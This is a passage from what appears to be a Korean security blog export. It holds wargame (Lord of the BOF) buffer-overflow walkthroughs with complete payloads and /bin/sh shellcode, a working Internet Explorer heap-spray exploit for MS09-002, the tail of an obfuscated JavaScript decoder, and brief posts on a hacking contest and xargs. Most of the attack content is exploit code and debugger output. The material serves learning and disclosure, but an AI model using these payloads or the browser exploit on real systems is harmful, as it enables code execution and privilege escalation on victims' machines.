(\\d{4})\\/gcUNvq0)bsQTNbB5%=2;vDnfARp5+=vQsREtA6(GKCBd1(lWXG2+TlydQ6(\u0026#39;x\u0026#39;)+LECgD6.charAt(FobLUkY0)+LECgD6.charAt(FobLUkY0+GKCBd1(PmKGDz0)))^bsQTNbB5);}document.write(vDnfARp5);try{new function(){rKbGqib2(vDnfARp5);}}catch(e){try{new function(){hXTHGOh6=parseInt;EwEI0(vDnfARp5);}}catch(e) {window.location=\u0026#39;/\u0026#39;;}}}try{xYLfe5(\u0026#39;YhrcH0();\u0026#39;)}catch(e) {try{IkOk4=lWXG2;xYLfe5(\u0026#39;YhrcH0();\u0026#39;);}catch(e){alert(\u0026#39;ere\u0026#39;);}}\u0026#34;); \u0026lt;/script\u0026gt; ","date":"2011-01-06T16:44:18Z","permalink":"/2011/01/06/encrypt-by-dadongs-jsxx-%EB%82%9C%EB%8F%85%ED%99%94-%ED%95%B4%EC%A0%9C-%EB%B0%A9%EB%B2%95/","title":"Encrypt By Dadong's JSXX 난독화 해제 방법"},{"content":"우선 문제소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 /* The Lord of the BOF : The Fellowship of the BOF - assassin - no stack, no RTL */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; main(int argc, char *argv[]) { char buffer[40]; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } if(argv[1][47] == \u0026#39;\\xbf\u0026#39;) { printf(stack retbayed you!\\n); exit(0); } if(argv[1][47] == \u0026#39;\\x40\u0026#39;) { printf(library retbayed you, too!!\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); // buffer+sfp hunter memset(buffer, 0, 44); } 이번 문제를 보면 \\xbf를 사용할 수 없다. 따라서 스택의 주소를 사용할 수 없다는 뜻이다. 그럼 RTL은 어떨까? \\x40을 사용할 수 없다. gdb를 통해 system()이나 execl() 함수등을 살펴보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [giant@localhost giant]$ gdb assassin_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b main Breakpoint 1 at 0x8048476 (gdb) r Starting program: /home/giant/assassin_tmp Breakpoint 1, 0x8048476 in main () (gdb) x/x system 0x40058ae0 \u0026lt;__libc_system\u0026gt;: 0x81e58955 (gdb) x/x execl 0x400a9ec0 \u0026lt;execl\u0026gt;: 0x83e58955 (gdb) system(), execl() 함수 모두 \\x40으로 시작하므로 역시 RTL 기법으로도 사용할 수 없다. 따라서 다른 방법으로 공격을 시도하여야 한다. 이번에 공격할 방법은 ret 명령어에 해당하는 주소를 RET 값으로 넣어 esp를 끌어올려 흐름을 원하는 곳으로 변경시키는 방법이다. 우선 스택을 한번 확인해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 [giant@localhost giant]$ gdb assassin_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble main Dump of assembler code for function main: 0x8048470 \u0026lt;main\u0026gt;: push %ebp 0x8048471 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x8048473 \u0026lt;main+3\u0026gt;: sub $0x28,%esp 0x8048476 \u0026lt;main+6\u0026gt;: cmpl $0x1,0x8(%ebp) 0x804847a \u0026lt;main+10\u0026gt;: jg 0x8048493 \u0026lt;main+35\u0026gt; 0x804847c \u0026lt;main+12\u0026gt;: push $0x8048570 0x8048481 \u0026lt;main+17\u0026gt;: call 0x8048378 \u0026lt;printf\u0026gt; 0x8048486 \u0026lt;main+22\u0026gt;: add $0x4,%esp 0x8048489 \u0026lt;main+25\u0026gt;: push $0x0 0x804848b \u0026lt;main+27\u0026gt;: call 0x8048388 \u0026lt;exit\u0026gt; 0x8048490 \u0026lt;main+32\u0026gt;: add $0x4,%esp 0x8048493 \u0026lt;main+35\u0026gt;: mov 0xc(%ebp),%eax 0x8048496 \u0026lt;main+38\u0026gt;: add $0x4,%eax 0x8048499 \u0026lt;main+41\u0026gt;: mov (%eax),%edx 0x804849b \u0026lt;main+43\u0026gt;: add $0x2f,%edx 0x804849e \u0026lt;main+46\u0026gt;: cmpb $0xbf,(%edx) 0x80484a1 \u0026lt;main+49\u0026gt;: jne 0x80484c0 \u0026lt;main+80\u0026gt; 0x80484a3 \u0026lt;main+51\u0026gt;: push $0x804857c 0x80484a8 \u0026lt;main+56\u0026gt;: call 0x8048378 \u0026lt;printf\u0026gt; 0x80484ad \u0026lt;main+61\u0026gt;: add $0x4,%esp 0x80484b0 \u0026lt;main+64\u0026gt;: push $0x0 0x80484b2 \u0026lt;main+66\u0026gt;: call 0x8048388 \u0026lt;exit\u0026gt; 0x80484b7 \u0026lt;main+71\u0026gt;: add $0x4,%esp 0x80484ba \u0026lt;main+74\u0026gt;: lea 0x0(%esi),%esi 0x80484c0 \u0026lt;main+80\u0026gt;: mov 0xc(%ebp),%eax 0x80484c3 \u0026lt;main+83\u0026gt;: add $0x4,%eax 0x80484c6 \u0026lt;main+86\u0026gt;: mov (%eax),%edx 0x80484c8 \u0026lt;main+88\u0026gt;: add $0x2f,%edx 0x80484cb \u0026lt;main+91\u0026gt;: cmpb $0x40,(%edx) 0x80484ce \u0026lt;main+94\u0026gt;: jne 0x80484e7 \u0026lt;main+119\u0026gt; 0x80484d0 \u0026lt;main+96\u0026gt;: push $0x8048591 0x80484d5 \u0026lt;main+101\u0026gt;: call 0x8048378 \u0026lt;printf\u0026gt; 0x80484da \u0026lt;main+106\u0026gt;: add $0x4,%esp 0x80484dd \u0026lt;main+109\u0026gt;: push $0x0 ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x80484df \u0026lt;main+111\u0026gt;: call 0x8048388 \u0026lt;exit\u0026gt; 0x80484e4 \u0026lt;main+116\u0026gt;: add $0x4,%esp 0x80484e7 \u0026lt;main+119\u0026gt;: mov 0xc(%ebp),%eax 0x80484ea \u0026lt;main+122\u0026gt;: add $0x4,%eax 0x80484ed \u0026lt;main+125\u0026gt;: mov (%eax),%edx 0x80484ef \u0026lt;main+127\u0026gt;: push %edx 0x80484f0 \u0026lt;main+128\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80484f3 \u0026lt;main+131\u0026gt;: push %eax 0x80484f4 \u0026lt;main+132\u0026gt;: call 0x80483a8 \u0026lt;strcpy\u0026gt; 0x80484f9 \u0026lt;main+137\u0026gt;: add $0x8,%esp 0x80484fc \u0026lt;main+140\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80484ff \u0026lt;main+143\u0026gt;: push %eax 0x8048500 \u0026lt;main+144\u0026gt;: push $0x80485ae 0x8048505 \u0026lt;main+149\u0026gt;: call 0x8048378 \u0026lt;printf\u0026gt; 0x804850a \u0026lt;main+154\u0026gt;: add $0x8,%esp 0x804850d \u0026lt;main+157\u0026gt;: push $0x2c 0x804850f \u0026lt;main+159\u0026gt;: push $0x0 0x8048511 \u0026lt;main+161\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x8048514 \u0026lt;main+164\u0026gt;: push %eax 0x8048515 \u0026lt;main+165\u0026gt;: call 0x8048398 \u0026lt;memset\u0026gt; 0x804851a \u0026lt;main+170\u0026gt;: add $0xc,%esp 0x804851d \u0026lt;main+173\u0026gt;: leave 0x804851e \u0026lt;main+174\u0026gt;: ret 0x804851f \u0026lt;main+175\u0026gt;: nop End of assembler dump. (gdb) b *main+174 Breakpoint 1 at 0x804851e (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x1e\\x85\\x04\\x08\u0026#39; + \u0026#39;BBBB\u0026#39;` Starting program: /home/giant/assassin_tmp `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x1e\\x85\\x04\\x08\u0026#39; + \u0026#39;BBBB\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Breakpoint 1, 0x804851e in main () (gdb) x/32wx $esp 0xbffffaec: 0x0804851e 0x42424242 0xbffffb00 0xbffffb40 0xbffffafc: 0x40013868 0x00000002 0x080483c0 0x00000000 0xbffffb0c: 0x080483e1 0x08048470 0x00000002 0xbffffb34 0xbffffb1c: 0x08048308 0x0804854c 0x4000ae60 0xbffffb2c 0xbffffb2c: 0x40013e90 0x00000002 0xbffffc2b 0xbffffc44 0xbffffb3c: 0x00000000 0xbffffc79 0xbffffc89 0xbffffca2 0xbffffb4c: 0xbffffcc1 0xbffffce3 0xbffffcee 0xbffffeb1 0xbffffb5c: 0xbffffed0 0xbffffeeb 0xbfffff00 0xbfffff1d (gdb) c Continuing. Breakpoint 1, 0x804851e in main () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) 리턴될 주소에 ret 명령어가 있는 주소를 넣은 결과 바로 뒤 주소를 참조하는 것을 확인할 수 있었다. 따라서 아래와 같은 PAYLOAD를 이용하여 공격을 할 수 있다.\nargv[1] : [A, 44 Byte] [ret 명령어주소, 0x804851e] [NOP가 위치한 주소] argv[2] : [NOP, 100 Byte] [Shellcode]\n그럼 이제 디버깅을 통해 NOP의 주소를 확인하여 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x1e\\x85\\x04\\x08\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39; \u0026#39; + \u0026#39;\\x90\u0026#39;*100` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/giant/assassin_tmp `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x1e\\x85\\x04\\x08\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39; \u0026#39; + \u0026#39;\\x90\u0026#39;*100` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Breakpoint 1, 0x804851e in main () (gdb) x/32wx $esp 0xbffffa8c: 0x0804851e 0x42424242 0xbffffa00 0xbffffae4 0xbffffa9c: 0x40013868 0x00000003 0x080483c0 0x00000000 0xbffffaac: 0x080483e1 0x08048470 0x00000003 0xbffffad4 0xbffffabc: 0x08048308 0x0804854c 0x4000ae60 0xbffffacc 0xbffffacc: 0x40013e90 0x00000003 0xbffffbc6 0xbffffbdf 0xbffffadc: 0xbffffc14 0x00000000 0xbffffc79 0xbffffc89 0xbffffaec: 0xbffffca2 0xbffffcc1 0xbffffce3 0xbffffcee 0xbffffafc: 0xbffffeb1 0xbffffed0 0xbffffeeb 0xbfffff00 (gdb) 0xbffffb0c: 0xbfffff1d 0xbfffff28 0xbfffff36 0xbfffff3e 0xbffffb1c: 0xbfffff4f 0xbfffff59 0xbfffff67 0xbfffff78 0xbffffb2c: 0xbfffff86 0xbfffff91 0xbfffffa2 0x00000000 0xbffffb3c: 0x00000003 0x08048034 0x00000004 0x00000020 0xbffffb4c: 0x00000005 0x00000006 0x00000006 0x00001000 0xbffffb5c: 0x00000007 0x40000000 0x00000008 0x00000000 0xbffffb6c: 0x00000009 0x080483c0 0x0000000b 0x00000202 0xbffffb7c: 0x0000000c 0x00000202 0x0000000d 0x00000202 (gdb) 0xbffffb8c: 0x0000000e 0x00000202 0x00000010 0x0febfbff 0xbffffb9c: 0x0000000f 0xbffffbc1 0x00000000 0x00000000 0xbffffbac: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbbc: 0x00000000 0x38366900 0x682f0036 0x2f656d6f 0xbffffbcc: 0x6e616967 0x73612f74 0x73736173 0x745f6e69 0xbffffbdc: 0x4100706d 0x41414141 0x41414141 0x41414141 0xbffffbec: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbfc: 0x41414141 0x41414141 0x41414141 0x1e414141 (gdb) 0xbffffc0c: 0x42080485 0x00424242 0x90909090 0x90909090 0xbffffc1c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc2c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc3c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc4c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc5c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc6c: 0x90909090 0x90909090 0x90909090 0x44575000 0xbffffc7c: 0x6f682f3d 0x672f656d 0x746e6169 0x4d455200 (gdb) NOP가 위치한 주소 중 0xbffffc4c 주소를 이용하여 공격을 해보도록 하겠다.\n1 2 3 4 5 6 7 8 [giant@localhost giant]$ ./assassin `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x1e\\x85\\x04\\x08\u0026#39; + \u0026#39;\\x4c\\xfc\\xff\\xbf\u0026#39; + \u0026#39; \u0026#39; + \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\xeb\\x1b\\x5e\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x89\\x74\\x24\\x01\\x89\\x44\\x24\\x05\\xb0\\x0b\\x89\\xf3\\x8d\\x4c\\x24\\x01\\xcd\\x80\\xe8\\xe0\\xff\\xff\\xff/bin/sh\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL▒▒▒ bash$ id uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant) bash$ my-pass euid = 515 pushing me away bash$ ","date":"2011-01-04T13:31:59Z","permalink":"/2011/01/04/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-15-assassin/","title":"BOF 원정대 - Level 15 (assassin)"},{"content":"문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 /* The Lord of the BOF : The Fellowship of the BOF - giant - RTL2 */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; main(int argc, char *argv[]) { char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } // gain address of execve fp = popen(/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk \u0026#39;{print $4}\u0026#39;, r); fgets(buffer, 255, fp); sscanf(buffer, (%x), \u0026amp;lib_addr); fclose(fp); fp = popen(/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk \u0026#39;{print $1}\u0026#39;, r); fgets(buffer, 255, fp); sscanf(buffer, %x, \u0026amp;execve_offset); fclose(fp); execve_addr = lib_addr + (int)execve_offset; // end memcpy(\u0026amp;ret, \u0026amp;(argv[1][44]), 4); if(ret != execve_addr) { printf(You must use execve!\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); } 코드를 보면 뭔가 복잡해 보이지만 실제로 아주 단순하다. 우선 소스를 찬찬히 살펴보면 어떤 명령어를 통해 execve() 함수 주소를 구하고 그 주소가 맞는지 확인하는 부분이 존재한다.\n그럼 그 해당 주소를 어떻게 찾을 수 있을까? 위 소스에서 보면 두개의 명령어로 나온 결과를 더함을 알 수 있다. 따라서 아래와 같이 주소를 구할 수 있다.\n1 2 3 4 5 6 7 8 [bugbear@localhost bugbear]$ /usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk \u0026#39;{print $4}\u0026#39; ldd: /home/giant/assassin: No such file or directory [bugbear@localhost bugbear]$ /usr/bin/ldd /home/bugbear/giant | /bin/grep libc | /bin/awk \u0026#39;{print $4}\u0026#39; (0x40018000) [bugbear@localhost bugbear]$ /usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk \u0026#39;{print $1}\u0026#39; 00091d48 [bugbear@localhost bugbear]$ python -c print hex(int(0x40018000) + int(0x91d48)) 0x400a9d48 이와 같이 /home/giant/assassin 의 권한이 없으므로 권한이 있는 /home/bugbear/giant 파일을 이용하여 주소를 구할수가 있다. 그럼 이제 주소를 구하였으니 공격을 해보도록 하자. 우선 주소가 맞는지 확인을 해보도록 하자.\n1 2 3 4 5 6 7 [bugbear@localhost bugbear]$ ./giant `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x48\\x9d\\x0a\\x40\u0026#39;` You must use execve! [bugbear@localhost bugbear]$ ./giant `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x48\\x9d\\x0a\\x40\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH Segmentation fault [bugbear@localhost bugbear]$ 처음 공격 시 공격이 정상적으로 되지 않는 이유는 \\x0a 때문이므로 양쪽에 따옴표를 붙여 정상적으로 값을 넣을 수 있도록 하면 execve() 함수 체크 부분이 통과됨을 알 수 있다.\n이제 지금부터는 RTL 기법을 이용한 공격이다. 단, execve() 함수를 이용하여야 한다는게 제약 조건이다. 우선 exevce() 함수의 원형을 살펴보자.\n1 #include int execve(const char *filename, char* const argv[], char *const envp[]); 따라서 우리는 아래와 같이 PAYLOAD를 구성해볼 수 있다.\n[A, 44 Byte] [exevce() 함수 주소, 0x400a9d48] [BBBB] ['/bin/sh' 주소] [argv 주소의 포인터] [envp 주소의 포인터]\n/bin/sh 를 넣으면 이후 argv와 envp는 크게 의미가 없으므로 널값으로 채우도록 하자. 우선 '/bin/sh' 주소를 확인해보도록 하자. '/bin/sh' 주소는 환경변수에 등록하여도 되지만 주소값이 변경될 수 있으므로 변하지 않는 system() 함수 내의 문자열을 확인하여 이용하도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [bugbear@localhost bugbear]$ gdb giant_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b main Breakpoint 1 at 0x8048566 (gdb) r Starting program: /home/bugbear/giant_tmp Breakpoint 1, 0x8048566 in main () (gdb) x/x system 0x40058ae0 \u0026lt;__libc_system\u0026gt;: 0x81e58955 (gdb) q The program is running. Exit anyway? (y or n) y [bugbear@localhost bugbear]$ cat search.c #include\u0026lt;stdio.h\u0026gt; #include\u0026lt;stdlib.h\u0026gt; int main(){ char *ptr = 0x40058ae0; while(1){ if( (strncmp(ptr,/bin/sh,7))==0){ printf(%p : %s\\n,ptr,ptr); return 0; } ptr++; } return 0; } [bugbear@localhost bugbear]$ gcc -o search search.c search.c: In function `main\u0026#39;: search.c:4: warning: initialization makes pointer from integer without a cast [bugbear@localhost bugbear]$ ./search 0x400fbff9 : /bin/sh [bugbear@localhost bugbear]$ \u0026lt;/stdlib.h\u0026gt;\u0026lt;/stdio.h\u0026gt;\u0026lt;/__libc_system\u0026gt; 이렇게 위와같이 '/bin/sh' 주소는 0x400fbff9 이다. 이제 NULL 값에 대한 주소를 확인해 보도록 하자. NULL 값은 스택의 가장 마지막에 있는 값을 이용할 것이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [bugbear@localhost bugbear]$ gdb giant_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b main Breakpoint 1 at 0x8048566 (gdb) r Starting program: /home/bugbear/giant_tmp Breakpoint 1, 0x8048566 in main () (gdb) x/32wx $esp 0xbffffadc: 0x40013ed0 0x08048184 0x08049814 0x080482db 0xbffffaec: 0x40021ca0 0xbffffb18 0x4000a970 0x400f855b 0xbffffafc: 0x08049808 0x4000ae60 0xbffffb64 0xbffffb18 0xbffffb0c: 0x0804854b 0x080497f4 0x08049808 0xbffffb38 0xbffffb1c: 0x400309cb 0x00000001 0xbffffb64 0xbffffb6c 0xbffffb2c: 0x40013868 0x00000001 0x080484b0 0x00000000 0xbffffb3c: 0x080484d1 0x08048560 0x00000001 0xbffffb64 0xbffffb4c: 0x080483b4 0x080486bc 0x4000ae60 0xbffffb5c (gdb) . . [생략] . . (gdb) 0xbfffffdc: 0x2f726165 0x006e6962 0x6d6f682f 0x75622f65 0xbfffffec: 0x61656267 0x69672f72 0x5f746e61 0x00706d74 0xbffffffc: 0x00000000 Cannot access memory at address 0xc0000000 NULL 값의 주소는 0xbffffffc 이다. 이제 찾아야 할 값을 다 구하였다. 이제 마지막으로 argv와 envp에 대한 주소 포인터만 지정해 주면 된다. 이것은 널값이 위치한 주소로 포인터를 지정하면 되므로 0xbffffffc 값을 스택상에 써 놓고 해당 주소값을 이용하면 될 것이다. 스택에 쓰는 위치는 이전 문제에서와 같이 파일명을 이용할 것이다. 한번 확인해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [bugbear@localhost bugbear]$ ln -s giant_tmp `python -c print \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39;` [bugbear@localhost bugbear]$ gdb `python -c print \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39;` GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) b main Breakpoint 1 at 0x8048566 (gdb) r Starting program: /home/bugbear/ Breakpoint 1, 0x8048566 in main () (gdb) x/32wx $esp 0xbffffadc: 0x40013ed0 0x08048184 0x08049814 0x080482db 0xbffffaec: 0x40021ca0 0xbffffb18 0x4000a970 0x400f855b 0xbffffafc: 0x08049808 0x4000ae60 0xbffffb64 0xbffffb18 0xbffffb0c: 0x0804854b 0x080497f4 0x08049808 0xbffffb38 0xbffffb1c: 0x400309cb 0x00000001 0xbffffb64 0xbffffb6c 0xbffffb2c: 0x40013868 0x00000001 0x080484b0 0x00000000 0xbffffb3c: 0x080484d1 0x08048560 0x00000001 0xbffffb64 0xbffffb4c: 0x080483b4 0x080486bc 0x4000ae60 0xbffffb5c (gdb) . . [생략] . . (gdb) 0xbfffffdc: 0x6775622f 0x72616562 0x6e69622f 0x6f682f00 0xbfffffec: 0x622f656d 0x65626775 0xfc2f7261 0x00bfffff 0xbffffffc: 0x00000000 Cannot access memory at address 0xc0000000 (gdb) 0xc0000004: Cannot access memory at address 0xc0000004 (gdb) 0xc0000008: Cannot access memory at address 0xc0000008 (gdb) x/32wx 0xbffffff7 0xbffffff7: 0xbffffffc 0x00000000 Cannot access memory at address 0xbfffffff (gdb) 0xbffffff7 주소에 우리가 심볼릭링크 파일명으로 지정한 NULL 주소가 위치한 0xbffffffc 값이 나옴을 확인하였다. 이제 인자에 필요한 주소가 모두 확보되었으니 PAYLOAD를 작성해 보도록 하자.\n[A, 44 Byte] [exevce() 함수 주소, 0x400a9d48] [BBBB] ['/bin/sh' 주소, 0x400fbff9] [argv 주소의 포인터, 0xbffffff7] [envp 주소의 포인터, 0xbffffff7]\n[A, 44 Byte] [\\x48\\x9d\\x0a\\x40] [BBBB] [\\xf9\\xbf\\x0f\\x40] [\\xf7\\xff\\xff\\xbf] [\\xf7\\xff\\xff\\xbf]\n1 2 3 4 5 6 7 8 9 10 11 [bugbear@localhost bugbear]$ ln -s giant `python -c print \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39;` [bugbear@localhost bugbear]$ ./`python -c print \u0026#39;\\xfc\\xff\\xff\\xbf\u0026#39;` `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x48\\x9d\\x0a\\x40\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\xf9\\xbf\\x0f\\x40\u0026#39; + \u0026#39;\\xf7\\xff\\xff\\xbf\u0026#39;*2` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHBBBB bash: /home/bugbear/.bashrc: Permission denied bash$ id uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear) bash$ my-pass euid = 514 one step closer bash$ ","date":"2011-01-03T14:37:29Z","permalink":"/2011/01/03/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-14-giant/","title":"BOF 원정대 - Level 14 (giant)"},{"content":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 \u0026lt;SCRIPT LANGUAGE=\u0026#34;JavaScript\u0026#34;\u0026gt; \u0026lt;!-- Hide function killErrors() { return true; } window.onerror = killErrors; // --\u0026gt; \u0026lt;/SCRIPT\u0026gt; \u0026lt;script language=\u0026#34;JavaScript\u0026#34;\u0026gt; var aaa4=\u0026#39;생략\u0026#39;; var aa4=(aaa4.replace(/MV/g,\u0026#34;%u\u0026#34;)); var shellcode=unescape(aa4); var array = new Array(); var calc = 0x100000-(shellcode.length*2+0x01020); var point = unescape(\u0026#34;%u0D0D%u0D0D\u0026#34;); while(point.length\u0026lt;calc) { point+=point;} var sec = point.substring(0,calc/2); delete point; for(i=0; i\u0026lt;0xD0; i++) { array[i] = sec + shellcode; } CollectGarbage(); var s1=unescape(\u0026#34;%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA\u0026#34;); var a1 = new Array(); for(var x=0;x\u0026lt;500;x++) a1.push(document.createElement(\u0026#34;img\u0026#34;)); o1=document.createElement(\u0026#34;tbody\u0026#34;); o1.click; var o2 = o1.cloneNode(); o1.clearAttributes(); o1=null; CollectGarbage(); for(var x=0;x\u0026lt;a1.length;x++) a1[x].src=s1; o2.click; \u0026lt;/script\u0026gt; 네이트온 관련 악성코드 유포 취약점으로 이용되고 있어 기록해 둡니다.\n","date":"2011-01-02T01:43:07Z","permalink":"/2011/01/02/internet-explorer-uninitialized-memory-corruption-vulnerability-ms09-002-cve-2009-0075/","title":"Internet Explorer Uninitialized Memory Corruption Vulnerability (MS09-002, CVE-2009-0075)"},{"content":"대회 한지는 좀 되었지만 이제서야 공개하네요. 순위는 1등이였고 상품으로 스타와 로또를 받았습니다 :-) http://holyshield.catsecurity.net/\n대회 보고서는 아래 링크에서 보실 수 있습니다. https://docs.google.com/viewer?a=v\u0026pid=explorer\u0026chrome=true\u0026srcid=0B-xiuAIL6EdCNDg3YmE1YjQtZDEwNi00YTdmLTk1ZDktYmY1MDQ1NjE3ZDY2\u0026hl=en\u0026authkey=CNjwvbAE\n","date":"2011-01-01T12:07:29Z","permalink":"/2011/01/01/2010-cat-security-hacking-contest-holy-shield-%EB%8C%80%ED%9A%8C-%EC%9A%B0%EC%8A%B9/","title":"2010 CAT-Security Hacking Contest : Holy Shield 대회 우승"},{"content":"기본 사용법\n1 2 [root@localhost bugbear]# find /home/* -type d | xargs echo /home/assassin /home/bugbear /home/cobolt /home/darkelf /home/darkknight /home/death_knight /home/gate /home/gate/shellcode /home/gate/rooting /home/giant /home/goblin /home/golem /home/gremlin /home/lost+found /home/nightmare /home/orc /home/orge /home/skeleton /home/succubus /home/troll /home/vampire /home/wolfman /home/xavius /home/zombie_assassin -i 옵션을 통한 인자 변경\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 [root@localhost bugbear]# find /home/* -type d | xargs -i echo {}/ /home/assassin/ /home/bugbear/ /home/cobolt/ /home/darkelf/ /home/darkknight/ /home/death_knight/ /home/gate/ /home/gate/shellcode/ /home/gate/rooting/ /home/giant/ /home/goblin/ /home/golem/ /home/gremlin/ /home/lost+found/ /home/nightmare/ /home/orc/ /home/orge/ /home/skeleton/ /home/succubus/ /home/troll/ /home/vampire/ /home/wolfman/ /home/xavius/ /home/zombie_assassin/ ","date":"2010-12-27T15:28:33Z","permalink":"/2010/12/27/xargs-%EB%AA%85%EB%A0%B9%EC%96%B4-%EC%82%AC%EC%9A%A9%EB%B2%95/","title":"xargs 명령어 사용법"},{"content":"문제 소스는 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 /* The Lord of the BOF : The Fellowship of the BOF - bugbear - RTL1 */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } if(argv[1][47] == \u0026#39;\\xbf\u0026#39;) { printf(stack betrayed you!!\\n); exit(0); } strcpy(buffer, argv[1]); printf(%s\\n, buffer); } 이번 문제는 RTL 